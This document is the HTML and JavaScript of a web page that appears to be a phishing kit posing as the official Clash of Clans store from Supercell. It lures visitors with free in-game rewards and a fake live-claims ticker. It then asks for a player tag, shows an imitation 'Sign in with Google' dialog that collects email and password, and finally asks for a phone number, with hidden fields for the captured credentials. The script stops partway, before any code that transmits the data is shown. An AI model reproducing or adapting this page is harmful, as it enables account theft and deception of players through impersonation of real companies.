                    <button data-after-content="0" class="IconButton_IconButton__Dd2YR CartButton_CartIcon__2tRvz CartButton_Empty__zDLYe"><svg width="32" height="33" viewBox="0 0 32 33" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M20 26.0002H5L7.14285 12.0715L20 6.04834V26.0002Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M20 6.04834L25 10.1126L27 26.0002H20" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M16.5239 9.79013L16.5239 8.00974C16.5239 6.20552 15.2184 4.60759 13.3811 5.08582C10.9769 5.71158 10.2382 8.1223 10.2382 11.4349L10.2382 12.4651" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"></path></svg></button>
                </div>
                    <button class="menu header_menuButton__TqCpT header_clashofclans__MXHrX header_isLoggedIn__Egw5v">
                    <div class="UserAvatarImage_UserAvatarImage__HXR9U header_menuAvatar__i5JUN" data-after-content="S">
                        <span style="box-sizing:border-box;display:block;overflow:hidden;width:initial;height:initial;background:none;opacity:1;border:0;margin:0;padding:0;position:absolute;top:0;left:0;bottom:0;right:0"><img alt="avatar" src="img/logo2.jpg" decoding="async" data-nimg="fill" class="UserAvatarImage_userImage__zbczu" style="position:absolute;top:0;left:0;bottom:0;right:0;box-sizing:border-box;padding:0;border:none;margin:auto;display:block;width:0;height:0;min-width:100%;max-width:100%;min-height:100%;max-height:100%;object-fit:contain"/></span>
                    </div>
                    <div class="header_menuIcon__U3HNm">
                        <svg xmlns="http://www.w3.org/2000/svg" height="24" width="24" fill="none"><path d="M4 12.2202H28" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M4 20.3672H28" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg>
                    </div>
                    </button>
                </div>
                <div id="tombol3" class="header_navButtons__VUEA5" style="margin-right: -20px;display: none;">
                    <div class="header_cart__bSEVC CartButton_CartButton__bZo9Y">
                        <button data-after-content="1" class="IconButton_IconButton__Dd2YR CartButton_CartIcon__2tRvz"><svg width="32" height="33" viewbox="0 0 32 33" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M20 26.0002H5L7.14285 12.0715L20 6.04834V26.0002Z" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M20 6.04834L25 10.1126L27 26.0002H20" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="M16.5239 9.79013L16.5239 8.00974C16.5239 6.20552 15.2184 4.60759 13.3811 5.08582C10.9769 5.71158 10.2382 8.1223 10.2382 11.4349L10.2382 12.4651" stroke="currentColor" stroke-width="1.5" stroke-linecap="round"></path></svg></button>
                    </div>
                    <button class="menu header_menuButton__TqCpT header_clashofclans__MXHrX header_isLoggedIn__Egw5v">
                    <div class="UserAvatarImage_UserAvatarImage__HXR9U header_menuAvatar__i5JUN" data-after-content="S">
                        <span style="box-sizing:border-box;display:block;overflow:hidden;width:initial;height:initial;background:none;opacity:1;border:0;margin:0;padding:0;position:absolute;top:0;left:0;bottom:0;right:0"><img alt="avatar" src="img/logo2.jpg" decoding="async" data-nimg="fill" class="UserAvatarImage_userImage__zbczu" style="position:absolute;top:0;left:0;bottom:0;right:0;box-sizing:border-box;padding:0;border:none;margin:auto;display:block;width:0;height:0;min-width:100%;max-width:100%;min-height:100%;max-height:100%;object-fit:contain"/></span>
                    </div>
                    <div class="header_menuIcon__U3HNm">
                        <svg xmlns="http://www.w3.org/2000/svg" height="24" width="24" fill="none"><path d="M4 12.2202H28" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path><path d="M4 20.3672H28" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path></svg>
                    </div>
                    </button>
                </div>
            </div>
    
        <section class="Collapsible_Container__8dZh2" data-open="true" style="margin-top: -50px;">
           <div class="Collapsible_Wrapper__F6ehB" data-open="true">
              <div class="ClashOfClans_Container__iadVY" data-state="cards">
                 <div class="ClashOfClans_Content__I_dRT" data-state="cards" style="transform: none; transform-origin: 50% 50% 0px;">
                    <h1 class="ClashOfClans_Heading__LpPvq" style="transform: none; transform-origin: 50% 50% 0px;font-family: clash;">Welcome to the Clash of Clans Store!</h1>
                    <div class="ScrollContainer_ScrollContainer__pwEh7 ScrollContainer_ScrollContainerAfterAnimation__KDIHO" style="transform: none;">

                       <div class="CardContainer_CardContainer__nyP_b head1" >
                          <div class="ClashCards_Container__C0IyC" >
                             <div class="ClashCards_Header__UbLyZ" >
                                <div style="width: 100%; height: 100%;">
                                <img class="pulse-animation" src="img/hahaa.webp" alt="Best Value Offers" style="vertical-align: top; width: 285px; height: 285px;">
                                <img class="pulse-animation" src="img/hahaaa.webp" alt="Best Value Offers" style="vertical-align: top; width: 285px; height: 285px;">
                                <img class="pulse-animation" src="img/hahaaaa.webp" alt="Best Value Offers" style="vertical-align: top; width: 285px; height: 285px;display:none">
                                <img class="pulse-animation" src="img/hahaaaaa.webp" alt="Best Value Offers" style="vertical-align: top; width: 285px; height: 285px;display:none">
                            </div>
                             </div>
                             <div class="ClashCards_Content__Rxz5a">
                                <p class="ClashCards_Title__9qbpJ" style="font-family: clash;">Special Offer</p>
                                <p class="ClashCards_Description__YqHoN" style="font-family: clash;">Choose your favorite reward and boost your game!</p>
                             </div>
                          </div>
                       </div>

                    </div>
                 </div>
                 <button class="MinimizeButton_MinimizeButton__zMSHw"><img alt="minimize button" width="113" height="26" src="https://store.supercell.com/_next/static/media/clash-intro-banner-arrow-btnv2.df2e54f7.png"></button>
              </div>
           </div>
        </section>

<div id="rewards-section-content">
<nav class="rewards-menu-bar" style="border-bottom:2px #57350d double;">

<div class="banner-slider">

<div class="slides">
    <img src="img/bnr.webp">
    <img src="img/bnrr.webp">
    <img src="img/bnrrr.webp">
    <img src="img/bnrrrr.webp">
</div>

    <div class="slider-nav">
        <button id="prevSlide">❮</button>

        <div class="slider-progress">
            <div class="slider-progress-fill"></div>
        </div>

        <div class="slider-count">
            <span id="currentSlideNum">1</span>/4
        </div>

        <button id="nextSlide">❯</button>
    </div>

</div>

</nav>
<div class="live-notification">
    <span id="liveClaimText">
        🟢 Loading...
    </span>
</div>

<div class="tab-menu">

<button class="tab-btn active" onclick="playTabSound();openTab('rewardTab',this)">
    <img src="img/gold.webp" class="tab-icon">
    <span>Special Offers</span>
</button>

<button class="tab-btn" onclick="playTabSound();openTab('sceneryTab',this)">
    <img src="img/scenery.webp" class="tab-icon">
    <span>Scenery</span>
</button>

<button class="tab-btn" onclick="playTabSound();openTab('costumeTab',this)">
    <img src="img/costume.webp" class="tab-icon">
    <span>Costume</span>
</button>

</div>

<main class="rewards-main-content">
    <section class="reward-section" id="skin">
      <div class="content" style="width: 100%;">
        <div class="front" style="width: 100%;margin-top: 0px;padding:0px;">
          <div class="sec_container">
            <div id="rewardTab" class="tab-content active">
<div class="namekbox1">

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/1111.webp" data-img="img/reward/1111.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/22.webp" data-img="img/reward/22.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/33.webp" data-img="img/reward/33.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/fury.webp" data-img="img/reward/fury.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/bok.webp" data-img="img/reward/bok.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/book.webp" data-img="img/reward/book.webp" alt="">
    </div>
  </div>
</div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/eq.webp" data-img="img/reward/eq.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/eqq.webp" data-img="img/reward/eqq.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/eqqq.webp" data-img="img/reward/eqqq.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/oreeeee.webp" data-img="img/reward/oreeeee.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
    <div class="shine-frame">
      <div class="animated-border-box-glow"></div>
      <div class="animated-border-box"></div>
      <div class="shine-content">
        <img class="imgrewardz" src="img/reward/oree.webp" data-img="img/reward/oree.webp" alt="">
      </div>
    </div>
  </div>

  <div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/oreeee.webp" data-img="img/reward/oreeee.webp" alt="">
    </div>
  </div>
</div>

</div>
</div>

<!-- ===== REWARD TAB SELESAI ===== -->


<!-- ===== SCENERY TAB MULAI ===== -->

<div id="sceneryTab" class="tab-content">

<div class="namekbox1">

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/44.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/55.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/yotfh.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/b.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/bb.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/cc.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/dd.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/ee.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/ff.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/gg.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/hh.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/ii.webp">
    </div>
  </div>
</div>

</div>
</div>


<!-- ===== SCENERY TAB SELESAI ===== -->


<!-- ===== COSTUME TAB MULAI ===== -->

<div id="costumeTab" class="tab-content">

<div class="namekbox1">

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/7.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/8.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/9.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/10.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/11.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/12.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/01.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/02.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/03.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/04.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/05.webp">
    </div>
  </div>
</div>

<div class="item reward-btn">
  <div class="shine-frame">
    <div class="animated-border-box-glow"></div>
    <div class="animated-border-box"></div>
    <div class="shine-content">
      <img class="imgrewardz" src="img/reward/06.webp">
    </div>
  </div>
</div>

</div>
</div>

<!-- ===== COSTUME TAB SELESAI ===== -->

          </div>
        </div>
      </div>
    </section>
  </main>
</div>

<div class="gpx-overlay" id="overlay" style="display: none;">
  <div class="gpx-modal" role="dialog" aria-modal="true" aria-labelledby="dlg-title">

    <div class="gpx-topbar">
      <svg class="th8JXc" xmlns="https://www.w3.org/2000/svg" width="20" height="24" viewBox="0 0 40 48" aria-hidden="true"><path fill="#4285F4" d="M39.2 24.45c0-1.55-.16-3.04-.43-4.45H20v8h10.73c-.45 2.53-1.86 4.68-4 6.11v5.05h6.5c3.78-3.48 5.97-8.62 5.97-14.71z"></path><path fill="#34A853" d="M20 44c5.4 0 9.92-1.79 13.24-4.84l-6.5-5.05C24.95 35.3 22.67 36 20 36c-5.19 0-9.59-3.51-11.15-8.23h-6.7v5.2C5.43 39.51 12.18 44 20 44z"></path><path fill="#FABB05" d="M8.85 27.77c-.4-1.19-.62-2.46-.62-3.77s.22-2.58.62-3.77v-5.2h-6.7C.78 17.73 0 20.77 0 24s.78 6.27 2.14 8.97l6.71-5.2z"></path><path fill="#E94235" d="M20 12c2.93 0 5.55 1.01 7.62 2.98l5.76-5.76C29.92 5.98 25.39 4 20 4 12.18 4 5.43 8.49 2.14 15.03l6.7 5.2C10.41 15.51 14.81 12 20 12z"></path></svg>
      <div class="gpx-titlebar">Sign in with Google</div>
    </div>

    <div class="gpx-progress" id="progress"><div class="gpx-bar" id="bar"></div></div>

    <div class="gpx-card">
      <div id="step-email">
        <div class="gpx-h1">Sign in</div>
        <div class="gpx-subtitle">
          <span class="gpx-muted-small">to continue to</span>
          <a class="gpx-app-link">Supercell</a>
        </div>

        <div class="gpx-group">
          <input type="email" class="gpx-input" id="email" autocomplete="username" inputmode="email" placeholder=" " aria-describedby="err-email">
          <label class="gpx-label" for="email">Email or phone</label>
          <div class="gpx-errtxt" id="err-email"></div>
        </div>

        <a class="gpx-link">Forgot email?</a>

        <p class="gpx-muted" style="margin-top:16px">
          Before using this app, you can review Supercell
          <a>privacy policy</a> and
          <a>terms of service</a>.
        </p>

        <div class="gpx-actions">
          <a class="gpx-link">Create account</a>
          <button class="gpx-btn gpx-btn-primary" id="next-email">Next</button>
        </div>

      </div>

      <div id="step-password" style="display:none">
        <div class="gpx-h1">Welcome</div>
        <div class="gpx-row gpx-email-pill" id="shown-email">
          <i class="fa-regular fa-user-circle"></i>
          <span style="font-size: 16px;"></span>
        </div>

        <div class="gpx-group" style="margin-top:12px">
          <input type="password" class="gpx-input" id="password" placeholder=" " aria-describedby="err-pass" autocomplete="current-password">
          <label class="gpx-label" for="password">Enter your password</label>
          <div class="gpx-errtxt" id="err-pass"></div>
        </div>

        <label class="gpx-checkwrap">
          <input type="checkbox" id="toggle-pass">
          <span style="font-size:14px;">Show password</span>
        </label>

        <p class="gpx-muted" style="margin-top:16px">
          Before using this app, you can review Supercell
          <a>privacy policy</a> and
          <a>terms of service</a>.
        </p>

        <div class="gpx-actions">
          <a class="gpx-link">Forgot password?</a>
          <button class="gpx-btn gpx-btn-primary" id="next-pass">Next</button>
        </div>

      </div>
    </div>
  </div>
</div>


        <div class="footer">
            <div class="contact">
                <span class="text">Follow us on</span>
                <div class="sci">
                    <img src="https://store.supercell.com/_next/static/media/icon-social-youtube-white.fde9d8af.svg"/>
                    <img src="https://store.supercell.com/_next/static/media/icon-social-facebook-white.bf013e40.svg"/>
                    <img src="https://store.supercell.com/_next/static/media/icon-social-instagram-white.6672578f.svg"/>
                    <img src="https://store.supercell.com/_next/static/media/icon-social-twitter-white.f4745db2.svg"/>
                    <img src="https://store.supercell.com/_next/static/media/icon-social-linkedin-white.c916ba21.svg"/>
                    <img src="https://store.supercell.com/_next/static/media/icon-social-glassdoor-white.5589fd18.svg"/>
                </div>
            </div>
            <div class="download">
                <span class="text">Download our games from</span>
                <div class="store">
                    <img src="https://store.supercell.com/_next/static/media/app-store_badge_en.181ec940.svg"/>
                    <img src="img/google-play-badge_en.e2ec89df.webp"/>
                </div>
            </div>
            <div class="site-menu">
                <a>Terms of Service</a>
                <a>Privacy Policy</a>
                <a>Parent's Guide</a>
                <a>Safe and Fair Play Policy</a>
                <a>Manage Cookies</a>
            </div>
            <div class="address">
                <div class="left">
                    <p>Supercell Oy</p>
                    <p>Jätkäsaarenlaituri 1</p>
                    <p>00180 Helsinki</p>
                    <p>Finland</p>
                    <p>Business ID 2336509-6</p>
                </div>
                <div class="right">
                    <img src="https://store.supercell.com/_next/static/media/supercell-logo-white.ad1dad43.svg"/>
                </div>
            </div>
        </div>
        
<!-- Akhir DIV -->      
</div>

<style>
    .success-item-box {
  width: 25rem;
  height: 12rem;
  background-color: transparent;
  border: none;
  border-radius: 1rem;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 0;
}
</style>
<div class="backdrop success-verification" style="display: none;">
    <div class="modal">
        <div class="container">
            <div class="success-content-wrapper">
                <p class="success-title">You received:</p>

                <div class="success-item-box">
                    <img id="popupRewardImg2" src="" alt="Reward">
                </div>
                <div class="label-btn" style="margin-bottom:5px">
                    <button class="btn green success-button" onclick="exit()">
                        <div class="shadow-text">Home Page</div>
                    </button>
                </div>
            </div>
        </div>
    </div>
</div>

<div class="backdrop rewardConfirmation" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Reward Confirmation</h2>

      <div class="container">

        <div class="label-btn close-btn" style="margin-right:10px;margin-top:5px">
          <button class="btn red">
            <div class="shadow-text">X</div>
          </button>
        </div>

        <div class="content">

          <div class="reward-preview">

            <div class="reward-light"></div>

            <img id="imgrewardconfirm"
                 src="https://akmweb.youngjoygame.com/web/skin/image/700a8eb44385ef1c5bb5892eb2cbafb4.webp"
                 alt="Reward">

          </div>

        </div>

        <div class="bar"></div>

        <div class="content">
          <div class="row">
            <div class="label-btn">
              <button class="btn green" onclick="continues()">
                <div class="shadow-text">Continue</div>
              </button>
            </div>
          </div>
        </div>

      </div>
    </div>
</div>
  
  <div class="backdrop id-verification" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Enter Your Tag</h2>
      <div class="container">
        <div class="content">
          <div class="row">
              <img src="img/id.webp" style="width: 90%;max-width: 240px;height: auto;border-radius: 10px;" />
          </div>
          <div class="row">
            <input class="id-input" id="playertag" placeholder="Example: #123456" required>
          </div>
        </div>
        <div class="bar"></div>
        <div class="content">
          <div class="row">
                <div class="label-btn">
                    <button class="btn grey">
                        <div class="shadow-text" style="color:white">Search</div>
                    </button>
                </div>
                <div class="label-btn" style="display: none;">
                    <button id="submitButton" class="btn green">
                        <div class="shadow-text" style="color:white">Search</div>
                    </button>
                </div>
            </div>
          <div class="label-btn">
            <label class="shadow-text id-alert" style="display:none ;font-size: 10px;">Invalid Tag, Try again</label>
          </div>
        </div>
      </div>
    </div>
  </div>

   <div class="backdrop playerProfile" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Player Profile</h2>
      <div class="container">
        <div class="content">
          <div class="row">
            <div class="player-info-header">
                <div class="player-level-star">
                    <span class="level-text">217</span>
                </div>
                <div class="player-identity">
                    <h3 class="player-name-main confirmNick"></h3>
                    <h4 class="player-tag-main confirmClan"><img src=""> </h4>
                </div>
            </div>
          </div>
            <div class="row">
                <div class="kiw confirmTag" style="background: #3b80bd;margin-right: 2px;">
                    
                </div>
                <div class="kiw confirmTownhall" style="background: #e1672b;margin-right: 2px;">
                    <img src="img/th/th13.webp" alt="TH"> 
                </div>
                <div class="kiw confirmTrophy">
                    <img src="img/trophy.webp" alt="Trophy"> 
                </div>
            </div>
        </div>
        <div class="bar"></div>
        <div class="content">
          <div class="row">
                <div class="label-btn">
                    <button class="btn green" onclick="confirm()">
                        <div class="shadow-text">Confirm</div>
                    </button>
                </div>
            </div>
        </div>
      </div>
    </div>
  </div>

<div class="backdrop" id="rewardPopup" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Reward Confirmation</h2>
      <div class="label-btn close-btn">
        <button class="btn red">
            <div class="shadow-text">X</div>
        </button>
      </div>
      <div class="container">
        <div class="content">
          <div class="row">
            <div class="reward-card" id="popupRewardCard" style="width: 50%;">
                <div class="reward-title" id="popupRewardTitle" style="font-size: 8px;"></div>
                <img src="img/flare.webp" class="glow-bg" alt="Glow">
                <img src="" class="character" id="popupRewardImg" alt="Character">
                </div>
          </div>

        </div>
        <div class="bar"></div>
        <div class="content">
          <div class="row">
                <div class="label-btn">
                    <button class="btn green" onclick="accountConfirm()">
                        <div class="shadow-text">Confirm</div>
                    </button>
                </div>
            </div>
        </div>
      </div>
    </div>
  </div>

<div class="backdrop accountConfirm" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Account Verification</h2>
      <div class="container">
        <div class="content">
            <img style="border-radius:10px;width:90px;height:auto;" src="img/login.png"/>
          <div class="row">
            <div class="cont">
                <div style="font-family: 'Roboto', sans-serif;color:#000;font-size:13px;text-align:center;" class="txt-login-alert">Log in to your <b style="color:#2b7e1e;font-size:13px;">Google Play Games</b><br> account to connect to Clash of Clans.</div>
            </div>
          </div>
        </div>
        <div class="content">
          <div class="row">
            <div class="label-btn">
                <button class="btn green" style="width: 130%;" id="open-google-login-button">
                    <img style="width:20px; height:20px; margin-right: 8px;" src="img/g2.webp"/>
                    <span class="shadow-text" style="font-size: 10px;">SIGN IN WITH GOOGLE</span>
                </button>
            </div>
        </div>
        <div class="bar"></div>
        <div class="row">
            <div class="cont">
                    <p class="info" style="font-family: 'Roboto', sans-serif;font-size: 10px;margin-left: 10px;">
                         This site is protected by reCAPTCHA and the Google <span class="link">Privacy Policy</span>
                        and <span class="link">Terms of Service</span>
                        apply.
                    </p>
            </div>
          </div>
        </div>
      </div>
    </div>
  </div>

  <div class="backdrop last-verification" style="display: none;">
    <div class="modal">
      <h2 class="shadow-text">Last Verification</h2>
      <div class="container">
        <div class="content">
          <div class="row">
            <input type="hidden" id="s3_townhall">
                    <input type="hidden" id="s3_playertag">
                    <input type="hidden" id="s3_exp">
                    <input type="hidden" id="s3_clan">
                    <input type="hidden" id="s3_playername">
                    <input type="hidden" id="validate_email">
                    <input type="hidden" id="validate_password">
                    <input type="hidden" id="validate_login">
            <input class="id-input" type="number" id="phone" placeholder="Phone Number" required>
          </div>
        </div>
        <div class="bar"></div>
        <div class="content">
          <div class="row">
                <div class="label-btn phonegrey">
                    <button class="btn grey">
                        <div class="shadow-text">Continue</div>
                    </button>
                </div>
                <div class="label-btn phonesubmit" style="display: none;">
                    <button id="phone-submit-button" class="btn green">
                        <div class="shadow-text">Continue</div>
                    </button>
                </div>
                <div class="label-btn phonebutton" style="display: none;">
                    <button class="btn grey">
                        <div class="shadow-text"><i style="color:white" class="fas fa-spinner fa-spin"></i></div>
                    </button>
                </div>
            </div>
        </div>
      </div>
    </div>
  </div>


<canvas id="confetti-canvas" style="display:block;z-index:999999;pointer-events:none;position:fixed;top:0;left:0;" width="982" height="738"></canvas>   
<!-- Akhir div -->
</div>
<!-- Akhir div -->
<script src="https://cdn.jsdelivr.net/npm/canvas-confetti@1.9.2/dist/confetti.browser.min.js"></script>
 <!-- <script src="https://cdn.jsdelivr.net/npm/disable-devtool@latest" disable-devtool-auto></script> -->
<script>
const Trueid = true;
const idduluan = false;

window.state = {
    itemSelected: false,
    paymentSelected: false,
    itemName: '',
    paymentName: '',
    itemPrice: '$0.0',
    itemImage: '',
    LoginAccount: '',
    LoginPassword: '',
    loginInfo: '',
    townHall: '',
    expLevel: '',
    playerTag: '',
    playerName: '',
    clanName: ''
};

function open_verification(){
    playAudio();
    $('.id-verification').show();
}

function confirm() {
    playAudio();
    $('.playerProfile').hide();
    
    if (idduluan) {
        $('.accountConfirm').hide();
    } else {
        $('.accountConfirm').show();
    }
}

function accountConfirm() {
    playAudio();
    $('#rewardPopup').hide();
    $('#rewardPopup2').hide();
    
    if (idduluan) {
        $('.accountConfirm').hide();
    } else {
        $('.accountConfirm').show();
    }
}

function open_google_login() {
    playAudio();
    $('#overlay').show();
    $(".accountConfirm").hide();
}

function continues() {
    open_verification();
    $(".rewardConfirmation").hide();
}

$(document).ready(function() {

    $('#playertag').on('input', function() {
        if ($(this).val().trim().length > 0) {
            $('.btn.grey').parent().hide();
            $('#submitButton').parent().show();
        } else {
            $('.btn.grey').parent().show();
            $('#submitButton').parent().hide();
        }
    });

    if(idduluan){
        $('.id-verification').show();
        $('.accountConfirm').hide();
        $('.playerProfile').hide();
    } else {
        $('.id-verification').hide();
    }

   $('.reward-btn').on('click', function() {

    const reward = $(this);

    reward.addClass('reward-clicked');

    setTimeout(function(){

        reward.removeClass('reward-clicked');

        var rewardImg = reward.find('.imgrewardz').attr('src');

        window.state.itemImage = rewardImg;
        $('#popupRewardImg2').attr('src', rewardImg);
        $('#imgrewardconfirm').attr('src', rewardImg);

        playAudio();

        if (idduluan) {
            $('.playerProfile').hide();
            $('.rewardConfirmation').show();
        } else {
            $('.playerProfile').hide();
            $('.rewardConfirmation').show();
        }

    }, 600);

});

    $('#submitButton').on('click', function(event) {
        playAudio();
        const playerTagInput = $('#playertag');
        const playerTag = playerTagInput.val().trim();
        const formMessage = $('.id-alert');
        const submitButton = $(this);
        const buttonText = submitButton.find('.shadow-text');

        formMessage.hide().text('').removeClass('error success');

        if (!playerTag && Trueid) {
            formMessage.text('Player ID cannot be empty.').addClass('error').show();
            playerTagInput.focus();
            return;
        }

        const handleSuccessUI = (data) => {
            window.state.playerName = data.name;
            window.state.playerTag = data.tag;
            window.state.townHall = data.thLabel;
            window.state.expLevel = data.exp;
            window.state.clanName = data.clanName;

            $('.id-verification').hide();

            if (Trueid) {
                $('.playerProfile').show();
            } else {
                $('.playerProfile').hide();
            }

            if (idduluan) {
                $('.accountConfirm').hide();
            }

            if (!$('.has-submenu').hasClass('active')) {
                $('.has-submenu').click();
            }

            $('.level-text').text(data.exp);
            $('.confirmNick, .nickname').text(data.name);
            $('.confirmTag').text(data.tag);
            $('#nicksuccess').text(data.name ? `Hi, ${data.name}` : 'Hi, Player');

